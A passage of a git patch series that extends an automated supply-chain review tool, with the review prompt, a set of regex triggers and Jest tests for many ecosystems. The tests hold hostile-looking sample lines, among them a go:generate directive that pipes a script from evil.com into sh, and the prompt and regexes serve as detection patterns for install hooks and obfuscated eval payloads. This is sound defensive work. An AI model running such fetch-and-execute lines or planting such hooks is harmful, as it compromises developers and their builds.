`proc-macro` crates — execute at compile time +- `[build-dependencies]` in `Cargo.toml` — dependencies that run at build time +- A malicious `build.rs` with `Command::new` or `std::process::Command` can run arbitrary shell commands + +**Gradle (Kotlin / Android / Java):** +- `build.gradle` / `build.gradle.kts` — runs arbitrary Kotlin/Groovy on sync or build +- `settings.gradle` / `settings.gradle.kts` — plugin management, runs on project sync +- `buildscript` blocks and `apply plugin` from untrusted sources +- `classpath` additions from unknown repositories +- Gradle init scripts (`init.gradle`) — execute on every Gradle invocation + +**CocoaPods (iOS / macOS):** +- `.podspec` files with `script_phase` — runs shell commands on `pod install` +- `.podspec` files with `prepare_command` — pre-install command execution +- Swift Package Manager is safer (no arbitrary script execution on resolve) + +**Python / pip:** +- `setup.py` with `cmdclass` — custom install commands that run on `pip install` +- `setup.py` calling `subprocess`, `os.system`, or `exec()` — direct code execution on install +- `setup.py` with `install_requires` combined with inline code + +**Go:** +- `//go:generate` directives — run arbitrary commands via `go generate` +- No install hooks, but generate directives can execute anything + +**Flutter / Dart:** +- `pub` has no install hooks, but Flutter plugins include native build code (Gradle for Android, CocoaPods for iOS) which inherit those ecosystems' attack surfaces -If any `package.json` file is changed, check whether `preinstall`, `postinstall`, or `preuninstall` scripts were added or modified. Flag these as HIGH severity unless there is a clear, documented reason for the hook (e.g., native module compilation for well-known packages like `esbuild`, `sharp`, `bcrypt`). +### 2. Suspicious Code Execution Patterns -### 2. Suspicious eval Patterns +Flag new usage of dynamic code execution patterns in the diff: -- Flag any new usage of `eval()`, `new Function()`, or `Function()` in the diff -- Flag any `Buffer.from()` combined with `eval()` — the standard Glassworm decoder pattern — as CRITICAL -- Flag any `codePointAt()` usage referencing hex ranges `0xFE00`–`0xFE0F` or `0xE0100`–`0xE01EF` as CRITICAL -- Flag `eval()` with template literals as HIGH +**JavaScript / Node.js:** +- `eval()` — direct code execution. Flag as HIGH. +- `new Function()` — Function constructor for dynamic code. Flag as HIGH. +- `eval(Buffer.from(...))` — the Glassworm decoder pattern. Flag as **CRITICAL**. +- `codePointAt()` referencing PUA hex ranges `0xFE00`–`0xFE0F` or `0xE0100`–`0xE01EF` — CRITICAL. +- `eval()` with template literals — HIGH. + +**Rust:** +- `Command::new` or `std::process::Command` in `build.rs` — arbitrary shell execution at build time. +- `unsafe` blocks combined with FFI calls in build scripts. + +**Python:** +- `exec()`, `eval()`, `compile()` — dynamic code execution. +- `subprocess.Popen` with `shell=True`, `subprocess.call`, `subprocess.run` — shell execution. +- `os.system()` — direct shell command. + +**Gradle / Groovy / Kotlin:** +- `Runtime.getRuntime().exec()` — process execution. +- `ProcessBuilder` — process spawning. +- Dynamic dependency resolution from unknown URLs. + +**General (all languages):** +- Hex escape sequences (`\x48\x65`) — potential obfuscation. +- Unicode escape sequences (`\u0048\u0065`) — potential obfuscation. +- Base64-encoded payloads combined with execution functions. ### 3. Lockfile Anomalies -- If lockfiles (`package-lock.json`, `pnpm-lock.yaml`, `yarn.lock`) are changed but `package.json` dependencies/devDependencies are NOT changed, flag as suspicious -- If new dependencies are added, verify they are well-known packages and not potential typosquats (e.g., `lodahs` instead of `lodash`, `c0lors` instead of `colors`) +Flag lockfile changes that don't correspond to manifest changes — this applies across all ecosystems: -### 4. Byte-Count Cross-Check +- **npm:** `package-lock.json` / `pnpm-lock.yaml` / `yarn.lock` changed without `package.json` dependency changes +- **Rust:** `Cargo.lock` changed without `Cargo.toml` dependency changes +- **Go:** `go.sum` changed without `go.mod` changes +- **Ruby:** `Gemfile.lock` changed without `Gemfile` changes +- **CocoaPods:** `Podfile.lock` changed without `Podfile` changes +- **Dart/Flutter:** `pubspec.lock` changed without `pubspec.yaml` changes +- **Python:** Lockfile changes without manifest changes -For any file in the diff that contains apparently empty lines, empty strings, or template literals with no visible content, use bash to check the actual byte count: +For new dependencies in any ecosystem, verify they are well-known packages and not potential typosquats (e.g., `lodahs` instead of `lodash`, `c0lors` instead of `colors`, `reqeusts` instead of `requests`). -```bash -wc -c -cat | tr -cd '[:print:]\n' | wc -c -``` +### 4. Hidden / Obfuscated Content Detection -If a file's total byte count is disproportionately large relative to its visible/printable content (e.g., a line with <10 visible characters but >500 bytes), flag as **CRITICAL — potential obfuscated payload**. +For any file in the diff that contains apparently empty lines, empty strings, or template literals with no visible content: + +- Use **Grep** to search for invisible Unicode characters: + - Zero-width spaces: `\u200B`, `\u200C`, `\u200D`, `\uFEFF` + - PUA range: `\uE000`–`\uF8FF`, `\uFE00`–`\uFE0F` + - Variation selectors: `\uE0100`–`\uE01EF` +- Use **Read** to examine the raw file content around suspicious lines +- If a line appears visually empty but contains content, flag as **CRITICAL — potential obfuscated payload** + +**Do NOT attempt to use bash commands — Bash is not available in your toolset. Use only Read, Glob, Grep, Task, and WebFetch.** ### 5. CI/Build Configuration Changes -Be suspicious of PRs that modify: -- `.github/workflows/` files -- `Dockerfile` / `docker-compose.yml` -- `Makefile` / build scripts -- Gradle/Cargo/Pod configuration files +Be suspicious of PRs that modify build infrastructure without clear justification: + +- `.github/workflows/` files — especially changes that reduce security checks or add script execution +- `Dockerfile` / `docker-compose.yml` — new RUN commands, base image changes +- `Makefile` / build scripts — new targets that execute external code +- Gradle wrapper (`gradlew`, `gradle-wrapper.properties`) — changes pointing to non-standard distribution URLs +- `Cargo.toml` adding `[build-dependencies]` or `build = "build.rs"` entries +- `.podspec` files adding `script_phase` blocks +- Python `setup.cfg` adding `[options.entry_points]` with unexpected commands -Without a clear feature or fix justification. Especially flag PRs where a contributor modifies both source code AND CI configuration in ways that reduce security checks or add new script execution paths. +Flag PRs where a contributor modifies both source code AND CI/build configuration in ways that reduce security checks or add new script execution paths. ## False-Positive Guardrails **CRITICAL: Minimize false positives. Follow these rules strictly:** -- **Read full file context**, not just the diff. A `postinstall` hook for `prisma generate` is legitimate. +- **Read full file context**, not just the diff. Understand why a pattern exists before flagging it. - **Don't flag test fixtures**: Test files demonstrating security patterns (e.g., testing an eval sanitizer) are expected. -- **Don't flag documentation**: Markdown files discussing eval or security topics are not threats. -- **Don't flag well-known build tools**: `esbuild`, `sharp`, `node-gyp`, `prisma`, and similar packages legitimately use postinstall hooks. -- **Lockfile changes during dependency updates are normal**: Only flag lockfile-only changes when `package.json` deps are unchanged. +- **Don't flag documentation**: Markdown files discussing eval, security, or attack techniques are not threats. + +**Ecosystem-specific legitimate patterns:** + +- **npm:** `postinstall` hooks for well-known packages (`esbuild`, `sharp`, `node-gyp`, `prisma`, `bcrypt`, `better-sqlite3`) are normal. +- **Rust:** `build.rs` for native FFI bindings (`openssl-sys`, `ring`, `libsqlite3-sys`, `cc` crate builds) is standard practice. Most Rust crates with C dependencies use `build.rs`. +- **CocoaPods:** `script_phase` for resource generation (`R.swift`, `SwiftGen`, `SwiftLint`) and code generation tools is common. +- **Python:** `setup.py` with `cmdclass` for Cython compilation, C extensions, or wheel building is normal. `install_requires` alone is not suspicious. +- **Gradle:** `buildscript` with well-known plugins (`com.android.tools.build`, `org.jetbrains.kotlin`, `com.google.gms`, `com.google.firebase`) is standard. +- **Go:** `//go:generate` for protobuf generation (`protoc-gen-go`), stringer, mockgen, and enumer is normal. +- **Lockfile changes during dependency updates are normal**: Only flag lockfile-only changes when the corresponding manifest deps are unchanged. - **CI changes with clear commit messages are usually fine**: Focus on changes that remove security steps, add script execution, or modify permissions without explanation. ## Severity Mapping -- **CRITICAL**: Invisible Unicode in source, eval+Buffer.from decoder, byte-count anomalies (obfuscated payloads) -- **HIGH**: Install hooks without justification, eval with template literals, new `Function()` usage -- **MEDIUM**: Lockfile anomalies, CI config changes reducing security, suspicious typosquat-like dependency names -- **LOW**: CI config additions with unclear justification, minor eval patterns in non-sensitive contexts +- **CRITICAL**: Invisible Unicode in source files, `eval(Buffer.from(...))` decoder pattern, byte-count/content anomalies suggesting obfuscated payloads +- **HIGH**: Install hooks / auto-execution scripts without justification (`postinstall`, `build.rs` with `Command::new`, `script_phase`, `setup.py` with `cmdclass`), `eval()` with template literals, `new Function()`, suspicious `//go:generate` targets +- **MEDIUM**: Lockfile anomalies without manifest changes, CI config changes reducing security, suspicious typosquat-like dependency names, `buildscript`/`classpath` from unknown sources +- **LOW**: CI config additions with unclear justification, minor eval patterns in non-sensitive contexts, `proc-macro` additions without clear purpose ## Output Format @@ -76,9 +160,9 @@ Use the same `#### Issue N:` format as the main review. **All IDs MUST use the ` **Context:** - **Pattern:** What supply-chain attack pattern was detected -- **Risk:** Why this is concerning (reference Glassworm or other known campaigns) +- **Risk:** Why this is concerning (reference known campaigns or ecosystem-specific vectors) - **Impact:** Potential consequences (credential theft, self-propagation, backdoor) -- **Trigger:** When this becomes exploitable (on install, on import, on build) +- **Trigger:** When this becomes exploitable (on install, on build, on import, on generate) **Recommendation:** How to investigate and remediate (inspect bytes, remove hook, audit dependency, etc.) ``` @@ -88,6 +172,9 @@ Examples: - `scl-package-postinstall-hook-a3f1` - `scl-index-eval-buffer-decoder-b2c4` - `scl-lockfile-phantom-dep-e7d2` +- `scl-build-rs-command-spawn-d4a9` +- `scl-podspec-script-phase-c1b3` +- `scl-setup-py-cmdclass-exec-f2e8` ## If No Supply-Chain Issues Found diff --git a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js index c4a8847..7aee28e 100644 --- a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js +++ b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js @@ -176,23 +176,79 @@ describe('shouldSpawnSupplyChain', () => { expect(result.reason).toContain('CI/build configuration'); }); - // ---- Package manager config triggers -------------------------------------- + // ---- Build script/config triggers ----------------------------------------- it('should spawn for .npmrc changes', () => { const files = [{ filename: '.npmrc', status: 'modified' }]; const result = shouldSpawnSupplyChain(files); expect(result.spawn).toBe(true); - expect(result.reason).toContain('package manager configuration'); + expect(result.reason).toContain('build script/config'); }); it('should spawn for .yarnrc.yml changes', () => { const files = [{ filename: '.yarnrc.yml', status: 'modified' }]; const result = shouldSpawnSupplyChain(files); expect(result.spawn).toBe(true); - expect(result.reason).toContain('package manager configuration'); + expect(result.reason).toContain('build script/config'); }); - // ---- Patch content triggers ----------------------------------------------- + it('should spawn for build.rs changes', () => { + const files = [{ filename: 'build.rs', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for nested build.rs changes', () => { + const files = [{ filename: 'crates/my-lib/build.rs', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for settings.gradle changes', () => { + const files = [{ filename: 'settings.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for settings.gradle.kts changes', () => { + const files = [{ filename: 'settings.gradle.kts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for init.gradle changes', () => { + const files = [{ filename: 'init.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for gradle.properties changes', () => { + const files = [{ filename: 'gradle.properties', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for .podspec file changes', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for nested .podspec file changes', () => { + const files = [{ filename: 'ios/MyLib.podspec', status: 'added' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + // ---- Patch content triggers (JS/Node) ------------------------------------- it('should spawn when patch contains eval()', () => { const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+ eval(code)' }]; @@ -208,13 +264,19 @@ describe('shouldSpawnSupplyChain', () => { expect(result.reason).toContain('suspicious code patterns'); }); - it('should spawn when patch contains Buffer.from', () => { - const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ Buffer.from(data, "base64")' }]; + it('should spawn when patch contains eval(Buffer.from(...))', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ eval(Buffer.from(data, "base64"))' }]; const result = shouldSpawnSupplyChain(files); expect(result.spawn).toBe(true); expect(result.reason).toContain('suspicious code patterns'); }); + it('should not spawn when patch contains standalone Buffer.from', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ Buffer.from(data, "base64")' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + it('should spawn when patch contains codePointAt', () => { const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ str.codePointAt(i)' }]; const result = shouldSpawnSupplyChain(files); @@ -250,6 +312,148 @@ describe('shouldSpawnSupplyChain', () => { expect(result.reason).toContain('suspicious code patterns'); }); + // ---- Patch content triggers (Rust) ---------------------------------------- + + it('should spawn when patch contains Command::new', () => { + const files = [{ filename: 'build.rs', status: 'modified', patch: '+ Command::new("sh").arg("-c").arg(cmd)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains std::process::Command', () => { + const files = [{ filename: 'build.rs', status: 'modified', patch: '+use std::process::Command;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains proc-macro', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+proc-macro = true' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains build-dependencies', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+[build-dependencies]' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Gradle) -------------------------------------- + + it('should spawn when patch contains apply plugin', () => { + const files = [{ filename: 'build.gradle', status: 'modified', patch: '+ apply plugin: "com.evil.plugin"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains classpath dependency', () => { + const files = [{ filename: 'build.gradle', status: 'modified', patch: '+ classpath "com.example:plugin:1.0"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains buildscript', () => { + const files = [{ filename: 'build.gradle.kts', status: 'modified', patch: '+buildscript {' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (CocoaPods) ----------------------------------- + + it('should spawn when patch contains script_phase', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+ s.script_phase = { :name => "Run Script" }' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains prepare_command', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+ s.prepare_command = "make build"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Python) -------------------------------------- + + it('should spawn when patch contains subprocess.call', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ subprocess.call(["curl", url])' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains subprocess.Popen', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ subprocess.Popen(cmd, shell=True)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains cmdclass', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ cmdclass={"install": CustomInstall}' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains Python exec()', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ exec(payload)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should not spawn when patch contains regex.exec()', () => { + const files = [{ filename: 'src/parser.js', status: 'modified', patch: '+ const match = regex.exec(str)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + it('should spawn when patch contains install_requires', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ install_requires=["requests"]' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains setup(', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+setup(' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Go) ------------------------------------------ + + it('should spawn when patch contains go:generate', () => { + const files = [{ filename: 'main.go', status: 'modified', patch: '+//go:generate curl http://evil.com/payload.sh | sh' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Finding 1 fix: Function regex no longer too broad -------------------- + + it('should not spawn when patch contains identifiers ending in Function', () => { + const files = [{ filename: 'src/app.js', status: 'modified', patch: '+ myFunction(arg)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + it('should not spawn when patch contains handleFunction()', () => { + const files = [{ filename: 'src/app.js', status: 'modified', patch: '+ handleFunction()' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + // ---- Non-matching files --------------------------------------------------- it('should not spawn for regular source code without suspicious patterns', () => { @@ -361,7 +565,7 @@ describe('shouldSpawnSupplyChain', () => { expect(result.reason).toContain('suspicious code patterns'); }); - it('should combine all three trigger types', () => { + it('should combine all trigger types', () => { const files = [ { filename: 'package.json', status: 'modified' }, { filename: '.github/workflows/deploy.yml', status: 'modified' }, @@ -372,7 +576,7 @@ describe('shouldSpawnSupplyChain', () => { expect(result.spawn).toBe(true); expect(result.reason).toContain('dependency manifest/lockfile'); expect(result.reason).toContain('CI/build configuration'); - expect(result.reason).toContain('package manager configuration'); + expect(result.reason).toContain('build script/config'); expect(result.reason).toContain('suspicious code patterns'); }); }); diff --git a/claude/auto-review/scripts/should-spawn-supply-chain.js b/claude/auto-review/scripts/should-spawn-supply-chain.js index 1d55c4d..b8ded74 100644 --- a/claude/auto-review/scripts/should-spawn-supply-chain.js +++ b/claude/auto-review/scripts/should-spawn-supply-chain.js @@ -62,20 +62,57 @@ const BUILD_SCRIPT_FILES = new Set([ '.yarnrc', '.yarnrc.yml', '.pnpmrc', + 'build.rs', + 'settings.gradle', + 'settings.gradle.kts', + 'init.gradle', + 'gradle.properties', ]); +/** + * Script/build config patterns (regex-based, for files that can't be matched by basename alone). + */ +const BUILD_SCRIPT_PATTERNS = [ + /\.podspec$/, +]; + // ---- Patch keyword triggers ----------------------------------------------- const SUSPICIOUS_PATCH_PATTERNS = [ + // JavaScript / Node.js /eval\s*\(/, /new\s+Function\s*\(/, - /Function\s*\(/, - /Buffer\.from/, + /eval\s*\(\s*Buffer\.from/, /codePointAt/, /fromCharCode/, /\\x[0-9a-fA-F]{2}/, /\\u[0-9a-fA-F]{4}/, /preinstall|postinstall|preuninstall/, + + // Rust + /Command::new/, + /std::process::Command/, + /proc-macro/, + /build-dependencies/, + + // Gradle / Kotlin / Android + /apply\s+plugin/, + /classpath\s/, + /buildscript/, + + // CocoaPods + /script_phase/, + /prepare_command/, + + // Python + /subprocess\.(call|run|Popen)/, + /(? Date: Thu, 26 Mar 2026 15:19:05 -0300 Subject: [PATCH 3/3] fix(auto-review): remove overly-broad setup() patch trigger The /setup\s*\(/ pattern fires on any setup() call in JS/TS (test frameworks, Vue Composition API, etc.), not just Python setup.py. install_requires and cmdclass already cover the meaningful Python supply-chain vectors. Co-Authored-By: Claude Opus 4.6 --- .../scripts/__tests__/should-spawn-supply-chain.test.js | 7 +++---- claude/auto-review/scripts/should-spawn-supply-chain.js | 1 - 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js index 7aee28e..1ad94d6 100644 --- a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js +++ b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js @@ -424,11 +424,10 @@ describe('shouldSpawnSupplyChain', () => { expect(result.reason).toContain('suspicious code patterns'); }); - it('should spawn when patch contains setup(', () => { - const files = [{ filename: 'setup.py', status: 'modified', patch: '+setup(' }]; + it('should NOT spawn on standalone setup() call (too broad)', () => { + const files = [{ filename: 'src/app.ts', status: 'modified', patch: '+setup(config)' }]; const result = shouldSpawnSupplyChain(files); - expect(result.spawn).toBe(true); - expect(result.reason).toContain('suspicious code patterns'); + expect(result.spawn).toBe(false); }); // ---- Patch content triggers (Go) ------------------------------------------ diff --git a/claude/auto-review/scripts/should-spawn-supply-chain.js b/claude/auto-review/scripts/should-spawn-supply-chain.js index b8ded74..fcb611e 100644 --- a/claude/auto-review/scripts/should-spawn-supply-chain.js +++ b/claude/auto-review/scripts/should-spawn-supply-chain.js @@ -109,7 +109,6 @@ const SUSPICIOUS_PATCH_PATTERNS = [ /(?